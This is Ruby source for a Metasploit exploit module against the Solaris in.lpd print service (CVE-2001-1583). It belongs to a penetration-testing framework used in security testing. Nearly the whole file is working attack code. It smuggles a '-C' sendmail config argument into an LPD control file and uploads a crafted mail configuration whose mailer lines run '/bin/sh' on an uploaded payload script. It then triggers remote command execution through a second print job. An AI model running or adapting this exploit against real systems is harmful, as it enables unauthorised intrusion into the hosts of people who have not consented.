##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Solaris LPD Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution flaw in
        the in.lpd service shipped with all versions of Sun Solaris
        up to and including 8.0. This module uses a technique
        discovered by Dino Dai Zovi to exploit the flaw without
        needing to know the resolved name of the attacking system.
      },
      'Author'         => [ 'hdm', 'ddz' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2001-1583'],
          [ 'OSVDB', '15131'],
          [ 'BID', '3274'],
        ],
      'Platform'       => %w{ solaris unix },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 8192,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DisclosureDate' => '2001-08-31',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(515)
      ])
  end

  def exploit

    # This is the temporary path created in the spool directory
    spath = "/var/spool/print"

    # The job ID is squashed down to three decimal digits
    jid   = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

    # The control file
    control =
      "H"+"metasploit\n"+
      "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
      "f"+"dfA"+jid+"config\n"+
      "f"+"dfA"+jid+"script\n"


    # The mail configuration file
    mailcf =
      "V8\n"+
      "\n"+
      "Ou0\n"+
      "Og0\n"+
      "OL0\n"+
      "Oeq\n"+
      "OQX/tmp\n"+
      "\n"+
      "FX|/bin/sh #{spath}/#{jid}script\n"+
      "\n"+
      "S3\n"+
      "S0\n"+
      "R\+     #local \\@blah :blah\n"+
      "S1\n"+
      "S2\n"+
      "S4\n"+
      "S5\n"+
      "\n"+
      "Mlocal  P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
      "Mprog   P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"

    # Establish the first connection to the server
    sock1 = connect(false)

    # Request a cascaded job
    sock1.put("\x02metasploit:framework\n")
    res = sock1.get_once
    if (not res)
      print_status("The target did not accept our job request command")
      return
    end

    print_status("Configuring the spool directory...")
    if !(
        send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
        send_file(sock1, 3, jid + "mail.cf", mailcf) and
        send_file(sock1, 3, jid + "script", payload.encoded)
      )
      sock1.close
      return
    end

    # Establish the second connection to the server
    sock2 = connect(false)

    # Request another cascaded job
    sock2.put("\x02localhost:metasploit\n")
    res = sock2.get_once
    if (not res)
      print_status("The target did not accept our second job request command")
      return
    end

    print_status("Attempting to trigger the vulnerable call to the mail program...")
    if !(
        send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
        send_file(sock2, 3, "dfa" + jid + "config", mailcf)
      )
      sock1.close
      sock2.close
      return
    end

    sock1.close
    sock2.close

    print_status("Waiting up to 60 seconds for the payload to execute...")
    select(nil,nil,nil,60)

    handler
  end

  def send_file(s, type, name, data='')

    s.put(type.chr + data.length.to_s + " " + name + "\n")
    res = s.get_once(1)
    if !(res and res[0,1] == "\x00")
      print_status("The target did not accept our control file command (#{name})")
      return
    end

    s.put(data)
    s.put("\x00")
    res = s.get_once(1)
    if !(res and res[0,1] == "\x00")
      print_status("The target did not accept our control file data (#{name})")
      return
    end

    print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
    return true
  end
end
